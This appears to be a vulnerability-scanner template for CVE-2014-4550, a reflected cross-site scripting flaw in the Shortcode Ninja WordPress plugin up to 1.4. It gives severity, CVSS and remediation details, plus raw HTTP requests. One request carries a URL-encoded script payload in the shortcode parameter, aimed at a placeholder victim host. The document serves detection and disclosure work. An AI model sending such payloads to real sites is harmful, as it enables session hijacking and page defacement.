| Title | Shortcode Ninja <= 1.4 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information. |
| Remediation | Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.02712 |
| CVE ID | CVE-2014-4550 |
| CWE ID | CWE-79 |
| Tags | cve2014 cve wordpress wp-plugin xss wpscan unauth visualshortcodes vuln |
A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; en-us) AppleWebKit/525.25 (KHTML, like Gecko) Version/3.2 Safari/525.25
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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